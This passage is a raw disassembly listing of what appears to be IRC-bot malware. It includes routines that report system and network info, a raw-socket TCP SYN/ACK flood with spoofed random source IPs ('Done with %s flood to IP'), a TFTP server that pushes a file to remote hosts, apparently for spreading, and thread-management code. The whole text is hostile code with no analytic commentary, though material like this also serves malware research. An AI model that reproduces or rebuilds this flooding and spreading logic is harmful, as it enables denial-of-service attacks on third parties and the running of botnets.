push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_403A49
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_403A49
pop ecx
pop ecx
push eax
call sub_410DCF
push edx
push eax
push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
push 200h ; Count
push [ebp+arg_0] ; Dest
call __snprintf
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_410E85 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411139 proc near ; CODE XREF: sub_409557+3D0Fp
; sub_409557+4CAFp
Dst = byte ptr -8Ch
var_C = byte ptr -0Ch
Dest = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
cmp dword_42EC98, 0
jnz short loc_4111AD
push 0
lea eax, [ebp+Dst]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call dword_42EA98 ; InternetGetConnectedStateEx
test eax, eax
jnz short loc_41118E
lea eax, [ebp+Dst]
push offset aNotConnected ; "Not connected"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_41118E: ; CODE XREF: sub_411139+40j
test [ebp+var_C], 1
jz short loc_4111A6
push offset aDialUp ; "Dial-up"
loc_411199: ; CODE XREF: sub_411139+72j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp short loc_4111CC
; ---------------------------------------------------------------------------
loc_4111A6: ; CODE XREF: sub_411139+59j
push offset dword_427E24
jmp short loc_411199
; ---------------------------------------------------------------------------
loc_4111AD: ; CODE XREF: sub_411139+28j
mov esi, offset off_427E20
lea eax, [ebp+Dest]
push esi ; Format
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push esi ; Format
push eax ; Dest
call _sprintf
add esp, 10h
loc_4111CC: ; CODE XREF: sub_411139+6Bj
push [ebp+arg_4]
push [ebp+arg_8]
call sub_408401
pop ecx
push eax
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+Dest]
push eax
push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"...
push 200h ; Count
push [ebp+arg_0] ; Dest
call __snprintf
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_411139 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4111FF proc near ; DATA XREF: sub_409557+25AAo
Dest = byte ptr -440h
var_240 = dword ptr -240h
var_23C = byte ptr -23Ch
Str = byte ptr -1BCh
var_13C = byte ptr -13Ch
var_BC = dword ptr -0BCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A0 = byte ptr -0A0h
var_9F = byte ptr -9Fh
var_8C = byte ptr -8Ch
var_80 = byte ptr -80h
var_78 = byte ptr -78h
Src = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_5B = byte ptr -5Bh
var_5A = word ptr -5Ah
Dst = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 440h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_240]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp+var_9F]
push 0Eh
mov [eax+19Ch], esi
pop ecx
xor eax, eax
mov [ebp+var_A0], bl
rep stosd
stosw
stosb
mov edi, ds:dword_41B078
call edi ; GetTickCount
push eax
call sub_41274C
pop ecx
push 0FFh
push 3
push 2
call dword_42EC30 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_4112C8
call dword_42EB50 ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset aTcpErrorSocket ; "[TCP]: Error: socket() failed, returned"...
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_4112A8
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_AC] ; int
push eax ; int
lea eax, [ebp+var_13C]
push eax ; Str
push [ebp+var_240] ; int
call sub_405E64
add esp, 14h
loc_4112A8: ; CODE XREF: sub_4111FF+84j
lea eax, [ebp+Dest]
push eax
call sub_402D63
push [ebp+var_BC]
call sub_411F56
pop ecx
pop ecx
push ebx
call ds:dword_41B06C ; ExitThread
loc_4112C8: ; CODE XREF: sub_4111FF+61j
lea ecx, [ebp+var_34]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_34], esi
call dword_42EB94 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_411346
call dword_42EB50 ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset aTcpErrorSetsoc ; "[TCP]: Error: setsockopt() failed, retu"...
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_411326
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_AC] ; int
push eax ; int
lea eax, [ebp+var_13C]
push eax ; Str
push [ebp+var_240] ; int
call sub_405E64
add esp, 14h
loc_411326: ; CODE XREF: sub_4111FF+102j
lea eax, [ebp+Dest]
push eax
call sub_402D63
push [ebp+var_BC]
call sub_411F56
pop ecx
pop ecx
push ebx
call ds:dword_41B06C ; ExitThread
loc_411346: ; CODE XREF: sub_4111FF+DFj
lea eax, [ebp+var_23C]
push eax
call dword_42EBF0 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_4113B6
lea eax, [ebp+Dest]
push offset aTcpInvalidTarg ; "[TCP]: Invalid target IP."
push eax ; Dest
call _sprintf
cmp [ebp+var_A8], ebx
pop ecx
pop ecx
jnz short loc_411396
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_AC] ; int
push eax ; int
lea eax, [ebp+var_13C]
push eax ; Str
push [ebp+var_240] ; int
call sub_405E64
add esp, 14h
loc_411396: ; CODE XREF: sub_4111FF+172j
lea eax, [ebp+Dest]
push eax
call sub_402D63
push [ebp+var_BC]
call sub_411F56
pop ecx
pop ecx
push ebx
call ds:dword_41B06C ; ExitThread
loc_4113B6: ; CODE XREF: sub_4111FF+157j
push 10h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push ebx
call dword_42EBB4 ; htons
mov [ebp+var_42], ax
lea eax, [ebp+var_23C]
push eax
call dword_42EBF0 ; inet_addr
mov [ebp+var_40], eax
mov [ebp+arg_0], ebx
call edi ; GetTickCount
mov [ebp+var_30], eax
loc_4113EE: ; CODE XREF: sub_4111FF+430j
call edi ; GetTickCount
sub eax, [ebp+var_30]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+var_B4]
ja loc_4116B2
push 28h
mov [ebp+var_2C], 45h
call dword_42EBB4 ; htons
cmp [ebp+var_B0], ebx
mov [ebp+var_2A], ax
mov [ebp+var_28], si
mov [ebp+var_26], bx
mov [ebp+var_24], 80h
mov [ebp+var_23], 6
mov [ebp+var_22], bx
jz short loc_411461
call _rand
mov esi, eax
shl esi, 8
call _rand
add esi, eax
shl esi, 8
call _rand
add esi, eax
shl esi, 8
call _rand
add esi, eax
push 1
mov [ebp+var_20], esi
pop esi
jmp short loc_411477
; ---------------------------------------------------------------------------
loc_411461: ; CODE XREF: sub_4111FF+233j
push [ebp+var_240]
call sub_408401
pop ecx
push eax
call dword_42EBF0 ; inet_addr
mov [ebp+var_20], eax
loc_411477: ; CODE XREF: sub_4111FF+260j
mov eax, [ebp+var_40]
cmp [ebp+var_B8], ebx
mov [ebp+var_1C], eax
jnz short loc_411495
call _rand
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_41149B
; ---------------------------------------------------------------------------
loc_411495: ; CODE XREF: sub_4111FF+284j
push [ebp+var_B8]
loc_41149B: ; CODE XREF: sub_4111FF+294j
call dword_42EBB4 ; htons
mov [ebp+var_16], ax
call _rand
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_42EBB4 ; htons
push 12345678h
mov [ebp+var_18], ax
call dword_42EBB0 ; htonl
mov [ebp+var_14], eax
lea eax, [ebp+Str]
push offset aSyn_0 ; "syn"
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_4114EB
mov [ebp+var_10], ebx
mov [ebp+var_B], 2
jmp short loc_411547
; ---------------------------------------------------------------------------
loc_4114EB: ; CODE XREF: sub_4111FF+2E1j
lea eax, [ebp+Str]
push offset aAck ; "ack"
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_41150B
mov [ebp+var_10], ebx
mov [ebp+var_B], 10h
jmp short loc_411547
; ---------------------------------------------------------------------------
loc_41150B: ; CODE XREF: sub_4111FF+301j
lea eax, [ebp+Str]
push offset aRandom ; "random"
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_411547
call _rand
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_10], edx
call _rand
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_B], dl
loc_411547: ; CODE XREF: sub_4111FF+2EAj
; sub_4111FF+30Aj ...
push 200h
mov [ebp+var_C], 50h
call dword_42EBB4 ; htons
mov [ebp+var_A], ax
mov eax, [ebp+var_20]
mov [ebp+Src], eax
mov eax, [ebp+var_1C]
push 14h
mov [ebp+var_6], bx
mov [ebp+var_8], bx
mov [ebp+var_60], eax
mov [ebp+var_5C], bl
mov [ebp+var_5B], 6
call dword_42EBB4 ; htons
mov [ebp+var_5A], ax
lea eax, [ebp+Src]
push 20h ; Size
push eax ; Src
lea eax, [ebp+var_A0]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_18]
push 14h ; Size
push eax ; Src
lea eax, [ebp+var_80]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_A0]
push 34h
push eax
call sub_40845A
mov [ebp+var_8], ax
lea eax, [ebp+var_2C]
push 14h ; Size
push eax ; Src
lea eax, [ebp+var_A0]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_18]
push 14h ; Size
push eax ; Src
lea eax, [ebp+var_8C]
push eax ; Dst
call _memcpy
push 4 ; Size
lea eax, [ebp+var_78]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 44h
lea eax, [ebp+var_A0]
push 28h
push eax
call sub_40845A
mov [ebp+var_22], ax
lea eax, [ebp+var_2C]
push 14h ; Size
push eax ; Src
lea eax, [ebp+var_A0]
push eax ; Dst
call _memcpy
add esp, 14h
lea eax, [ebp+Dst]
push 10h
push eax
push ebx
lea eax, [ebp+var_A0]
push 3Ch
push eax
push [ebp+var_4]
call dword_42EC14 ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_411634
inc [ebp+arg_0]
jmp loc_4113EE
; ---------------------------------------------------------------------------
loc_411634: ; CODE XREF: sub_4111FF+42Bj
push [ebp+var_4]
call dword_42EC48 ; closesocket
call dword_42EB50 ; WSAGetLastError
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
push offset aTcpErrorSendin ; "[TCP]: Error sending packets to IP: %s."...
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 18h
cmp [ebp+var_A8], ebx
jnz short loc_411692
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_AC] ; int
push eax ; int
lea eax, [ebp+var_13C]
push eax ; Str
push [ebp+var_240] ; int
call sub_405E64
add esp, 14h
loc_411692: ; CODE XREF: sub_4111FF+46Ej
lea eax, [ebp+Dest]
push eax
call sub_402D63
push [ebp+var_BC]
call sub_411F56
pop ecx
pop ecx
push ebx
call ds:dword_41B06C ; ExitThread
loc_4116B2: ; CODE XREF: sub_4111FF+203j
push [ebp+var_4]
call dword_42EC48 ; closesocket
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_B4]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
lea eax, [ebp+Str]
push eax
lea eax, [ebp+Dest]
push offset aTcpDoneWithSFl ; "[TCP]: Done with %s flood to IP: %s. Se"...
push eax ; Dest
call _sprintf
add esp, 1Ch
cmp [ebp+var_A8], ebx
jnz short loc_411723
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_AC] ; int
push eax ; int
lea eax, [ebp+var_13C]
push eax ; Str
push [ebp+var_240] ; int
call sub_405E64
add esp, 14h
loc_411723: ; CODE XREF: sub_4111FF+4FFj
lea eax, [ebp+Dest]
push eax
call sub_402D63
push [ebp+var_BC]
call sub_411F56
pop ecx
pop ecx
push ebx
call ds:dword_41B06C ; ExitThread
sub_4111FF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411743 proc near ; CODE XREF: sub_411743:loc_411C2Ep
; DATA XREF: sub_4022E3+107o ...
var_884 = dword ptr -884h
var_880 = dword ptr -880h
Dest = byte ptr -780h
var_580 = byte ptr -580h
var_57F = byte ptr -57Fh
var_57E = byte ptr -57Eh
var_57D = byte ptr -57Dh
DstBuf = byte ptr -57Ch
var_37C = dword ptr -37Ch
Filename = byte ptr -378h
Str1 = byte ptr -274h
var_170 = dword ptr -170h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
Str = byte ptr -164h
var_E4 = dword ptr -0E4h
var_E0 = dword ptr -0E0h
var_D8 = byte ptr -0D8h
var_D7 = byte ptr -0D7h
Str2 = byte ptr -0D6h
var_D5 = byte ptr -0D5h
var_58 = byte ptr -58h
Dst = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
File = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 884h
push ebx
push esi
push edi
mov edx, [ebp+arg_0]
mov esi, offset aOctet ; "octet"
lea edi, [ebp+var_1C]
movsd
push 1
xor ebx, ebx
movsw
pop eax
mov ecx, 0A9h
mov esi, edx
lea edi, [ebp+var_37C]
push ebx
push 2
rep movsd
inc [ebp+var_16C]
push 2
mov [ebp+var_C], eax
mov [edx+2A0h], eax
call dword_42EC30 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_10], edi
jnz short loc_411806
push 190h
call ds:dword_41B048 ; Sleep
call dword_42EB50 ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset aTftpErrorSocke ; "[TFTP]: Error: socket() failed, returne"...
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_E0], ebx
jnz short loc_4117E6
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_E4] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_37C] ; int
call sub_405E64
add esp, 14h
loc_4117E6: ; CODE XREF: sub_411743+7Ej
lea eax, [ebp+Dest]
push eax
call sub_402D63
push [ebp+var_170]
call sub_411F56
pop ecx
pop ecx
push ebx
call ds:dword_41B06C ; ExitThread
loc_411806: ; CODE XREF: sub_411743+50j
mov eax, [ebp+var_170]
push 10h ; Size
imul eax, 234h
push ebx ; Val
mov dword_43054C[eax], edi
lea eax, [ebp+Dst]
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_168]
call dword_42EBB4 ; htons
mov [ebp+var_42], ax
lea eax, [ebp+Dst]
push 10h
push eax
push edi
mov [ebp+var_40], ebx
call dword_42EBE0 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_41186B
push 1388h
call ds:dword_41B048 ; Sleep
dec [ebp+var_16C]
push [ebp+arg_0]
jmp loc_411C2E
; ---------------------------------------------------------------------------
loc_41186B: ; CODE XREF: sub_411743+10Dj
lea eax, [ebp+Filename]
push offset Mode ; "rb"
push eax ; Filename
call _fopen
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+File], eax
jnz short loc_4118E9
push 190h
call ds:dword_41B048 ; Sleep
lea eax, [ebp+Filename]
push eax
lea eax, [ebp+Dest]
push offset aTftpFailedToOp ; "[TFTP]: Failed to open file: %s."
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_E4] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_37C] ; int
call sub_405E64
lea eax, [ebp+Dest]
push eax
call sub_402D63
push [ebp+var_170]
call sub_411F56
add esp, 28h
push ebx
call ds:dword_41B06C ; ExitThread
loc_4118E9: ; CODE XREF: sub_411743+140j
mov esi, 200h
loc_4118EE: ; CODE XREF: sub_411743+4A5j
mov eax, [ebp+arg_0]
cmp [eax+2A0h], ebx
jz loc_411BEE
mov [ebp+var_880], edi
mov edi, 80h
push edi ; Size
lea eax, [ebp+var_D8]
push ebx ; Val
push eax ; Dst
mov [ebp+var_34], 5
mov [ebp+var_30], 1388h
mov [ebp+var_884], 1
call _memset
add esp, 0Ch
lea eax, [ebp+var_34]
push eax
push ebx
lea eax, [ebp+var_884]
push ebx
push eax
push ebx
call dword_42EB9C ; select
test eax, eax
jle loc_411BE2
mov al, byte_428D64
mov ecx, edi
mov [ebp+var_580], al
xor eax, eax
lea edi, [ebp+var_57F]
mov [ebp+var_4], 10h
rep stosd
stosw
stosb
mov edi, [ebp+var_10]
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_2C]
push eax
push ebx
lea eax, [ebp+var_D8]
push 80h
push eax
push edi
call dword_42EB8C ; recvfrom
push [ebp+var_28]
mov [ebp+var_C], eax
call dword_42EC3C ; inet_ntoa
push eax ; Format
lea eax, [ebp+var_58]
push eax ; Dest
call _sprintf
cmp [ebp+var_D8], bl
pop ecx
pop ecx
jnz loc_411BCC
cmp [ebp+var_D7], 1
jnz loc_411B18
lea eax, [ebp+Str1]
push eax ; Str
call _strlen
lea eax, [ebp+eax+var_D5]
mov [ebp+var_14], eax
lea eax, [ebp+Str1]
push eax ; Str
call _strlen
push eax ; MaxCount
lea eax, [ebp+Str2]
push eax ; Str2
lea eax, [ebp+Str1]
push eax ; Str1
call _strncmp
add esp, 14h
test eax, eax
jnz loc_411AD2
lea eax, [ebp+var_1C]
push eax ; Str
call _strlen
push eax ; MaxCount
lea eax, [ebp+var_1C]
push [ebp+var_14] ; Str2
push eax ; Str1
call _strncmp
add esp, 10h
test eax, eax
jnz loc_411AD2
push ebx ; Origin
push ebx ; Offset
push [ebp+File] ; File
call _fseek
push [ebp+File] ; File
lea eax, [ebp+DstBuf]
mov [ebp+var_580], bl
mov [ebp+var_57F], 3
push esi ; Count
push 1 ; ElementSize
push eax ; DstBuf
mov [ebp+var_57E], bl
mov [ebp+var_57D], 1
call _fread
add esp, 1Ch
lea ecx, [ebp+var_2C]
mov [ebp+var_C], eax
add eax, 4
push [ebp+var_4]
push ecx
push ebx
push eax
lea eax, [ebp+var_580]
push eax
push edi
call dword_42EC14 ; sendto
lea eax, [ebp+Filename]
push eax
lea eax, [ebp+var_58]
push eax
push offset aTftpFileTran_0 ; "[TFTP]: File transfer started to IP: %s"...
loc_411A86: ; CODE XREF: sub_411743+484j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
add esp, 10h
cmp [ebp+var_E0], ebx
jnz short loc_411AC0
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_E4] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_37C] ; int
call sub_405E64
add esp, 14h
loc_411AC0: ; CODE XREF: sub_411743+358j
lea eax, [ebp+Dest]
push eax
call sub_402D63
pop ecx
jmp loc_411BE2
; ---------------------------------------------------------------------------
loc_411AD2: ; CODE XREF: sub_411743+2B6j
; sub_411743+2D7j
push [ebp+var_4]
lea eax, [ebp+var_2C]
push eax
push ebx
push 13h
push offset dword_427FB8
push edi
call dword_42EC14 ; sendto
lea eax, [ebp+Str1]
push eax
lea eax, [ebp+var_58]
push eax
lea eax, [ebp+var_D8]
push offset aTftpFileNotFou ; "[TFTP]: File not found: %s (%s)."
push eax ; Dest
call _sprintf
lea eax, [ebp+var_D8]
push eax
call sub_402D63
add esp, 14h
jmp loc_411BE2
; ---------------------------------------------------------------------------
loc_411B18: ; CODE XREF: sub_411743+275j
cmp [ebp+var_D7], 4
jnz loc_411BCC
mov cl, [ebp+var_D5]
mov al, [ebp+Str2]
cmp cl, 0FFh
mov [ebp+var_580], bl
mov [ebp+var_57F], 3
jnz short loc_411B55
inc al
xor cl, cl
mov [ebp+var_57E], al
mov [ebp+var_57D], bl
jmp short loc_411B63
; ---------------------------------------------------------------------------
loc_411B55: ; CODE XREF: sub_411743+3FEj
inc cl
mov [ebp+var_57E], al
mov [ebp+var_57D], cl
loc_411B63: ; CODE XREF: sub_411743+410j
movzx eax, al
movzx ecx, cl
shl eax, 8
add eax, ecx
push ebx ; Origin
shl eax, 9
sub eax, esi
push eax ; Offset
push [ebp+File] ; File
call _fseek
push [ebp+File] ; File
lea eax, [ebp+DstBuf]
push esi ; Count
push 1 ; ElementSize
push eax ; DstBuf
call _fread
add esp, 1Ch
mov edi, eax
lea eax, [ebp+var_2C]
mov [ebp+var_C], edi
push [ebp+var_4]
push eax
lea eax, [edi+4]
push ebx
push eax
lea eax, [ebp+var_580]
push eax
push [ebp+var_10]
call dword_42EC14 ; sendto
cmp edi, ebx
jnz short loc_411BE2
lea eax, [ebp+Filename]
push eax
lea eax, [ebp+var_58]
push eax
push offset aTftpFileTran_1 ; "[TFTP]: File transfer complete to IP: %"...
jmp loc_411A86
; ---------------------------------------------------------------------------
loc_411BCC: ; CODE XREF: sub_411743+268j
; sub_411743+3DCj
push [ebp+var_4]
lea eax, [ebp+var_2C]
push eax
push ebx
push 9
push offset dword_427F58
push edi
call dword_42EC14 ; sendto
loc_411BE2: ; CODE XREF: sub_411743+204j
; sub_411743+38Aj ...
cmp [ebp+var_C], ebx
mov edi, [ebp+var_10]
jg loc_4118EE
loc_411BEE: ; CODE XREF: sub_411743+1B4j
push edi
call dword_42EC48 ; closesocket
push [ebp+File] ; File
call _fclose
mov esi, [ebp+arg_0]
dec [ebp+var_16C]
pop ecx
cmp [esi+2A0h], ebx
jnz short loc_411C22
push [ebp+var_170]
call sub_411F56
pop ecx
push ebx
call ds:dword_41B06C ; ExitThread
loc_411C22: ; CODE XREF: sub_411743+4CAj
push 3E8h
call ds:dword_41B048 ; Sleep
push esi
loc_411C2E: ; CODE XREF: sub_411743+123j
call sub_411743
pop edi
pop esi
pop ebx
leave
retn 4
sub_411743 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_411C3A(char *Source,int,int)
sub_411C3A proc near ; CODE XREF: sub_4022E3+F0p
; sub_4022E3+20Fp ...
Source = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_430340
loc_411C42: ; CODE XREF: sub_411C3A+18j
cmp byte ptr [eax], 0
jz short loc_411C56
add eax, 234h
inc edi
cmp eax, offset dword_4750D0
jl short loc_411C42
jmp short loc_411CA1
; ---------------------------------------------------------------------------
loc_411C56: ; CODE XREF: sub_411C3A+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh ; Count
push [esp+0Ch+Source] ; Source
lea eax, dword_430340[esi]
push eax ; Dest
call _strncpy
mov eax, [esp+14h+arg_4]
add esp, 0Ch
mov dword_430540[esi], eax
and dword_430544[esi], 0
mov eax, [esp+8+arg_8]
and dword_430548[esi], 0
mov dword_43054C[esi], eax
and byte_430558[esi], 0
pop esi
loc_411CA1: ; CODE XREF: sub_411C3A+1Aj
mov eax, edi
pop edi
retn
sub_411C3A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411CA5 proc near ; DATA XREF: sub_409557+4E96o
var_98 = dword ptr -98h
Str = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
push [ebp+var_10] ; int
mov dword ptr [eax+94h], 1
lea eax, [ebp+Str]
push [ebp+var_C] ; int
push eax ; Str
push [ebp+var_98] ; int
call sub_411CF7
push [ebp+var_14]
call sub_411F56
add esp, 14h
push 0
call ds:dword_41B06C ; ExitThread
pop edi
pop esi
sub_411CA5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_411CF7(int,char *Str,int,int)
sub_411CF7 proc near ; CODE XREF: sub_411CA5+38p
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0 ; int
push [ebp+arg_8] ; int
push offset aThreadList ; "-[Thread List]-"
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_405E64
add esp, 14h
xor edi, edi
mov esi, offset dword_430340
loc_411D21: ; CODE XREF: sub_411CF7+78j
cmp byte ptr [esi], 0
jz short loc_411D62
cmp [ebp+arg_C], 0
jnz short loc_411D35
cmp dword ptr [esi+204h], 0
jnz short loc_411D62
loc_411D35: ; CODE XREF: sub_411CF7+33j
push esi
push edi
lea eax, [ebp+Dest]
push offset aD_S ; "%d. %s"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_405E64
add esp, 24h
loc_411D62: ; CODE XREF: sub_411CF7+2Dj
; sub_411CF7+3Cj
add esi, 234h
inc edi
cmp esi, offset dword_4750D0
jl short loc_411D21
pop edi
pop esi
leave
retn
sub_411CF7 endp
; =============== S U B R O U T I N E =======================================
sub_411D75 proc near ; CODE XREF: sub_409557+4150p
; sub_411E03+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_411DFD
cmp esi, 1F4h
jge short loc_411DFD
imul esi, 234h
push edi
push ebx
push dword_430554[esi]
lea edi, dword_430554[esi]
call ds:dword_41B124 ; TerminateThread
cmp [edi], ebx
jz short loc_411DAD
push 1
pop ebp
loc_411DAD: ; CODE XREF: sub_411D75+33j
mov [edi], ebx
lea edi, dword_430548[esi]
mov dword_430540[esi], ebx
mov dword_430544[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_411DCE
push eax
call sub_408BC1
pop ecx
loc_411DCE: ; CODE XREF: sub_411D75+50j
mov [edi], ebx
lea edi, dword_43054C[esi]
mov byte ptr dword_430340[esi], bl
mov byte_430558[esi], bl
push dword ptr [edi]
call dword_42EC48 ; closesocket
lea esi, dword_430550[esi]
mov [edi], ebx
push dword ptr [esi]
call dword_42EC48 ; closesocket
mov [esi], ebx
pop edi
loc_411DFD: ; CODE XREF: sub_411D75+Dj
; sub_411D75+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_411D75 endp
; =============== S U B R O U T I N E =======================================
sub_411E03 proc near ; CODE XREF: sub_403DCB+18p
; sub_40724A:loc_40726Ep ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_430340
loc_411E0F: ; CODE XREF: sub_411E03+2Aj
cmp byte ptr [esi], 0
jz short loc_411E20
push edi
call sub_411D75
test eax, eax
pop ecx
jz short loc_411E20
inc ebx
loc_411E20: ; CODE XREF: sub_411E03+Fj
; sub_411E03+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_4750D0
jl short loc_411E0F
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_411E03 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411E35 proc near ; CODE XREF: sub_409557+1851p
; sub_411EC8+1Dp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_430544
loc_411E49: ; CODE XREF: sub_411E35+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_411E6B
test edi, edi
jle short loc_411E5D
cmp [esi], edi
jz short loc_411E5D
cmp ebx, edi
jnz short loc_411E6B
loc_411E5D: ; CODE XREF: sub_411E35+1Ej
; sub_411E35+22j
push ebx
call sub_411D75
test eax, eax
pop ecx
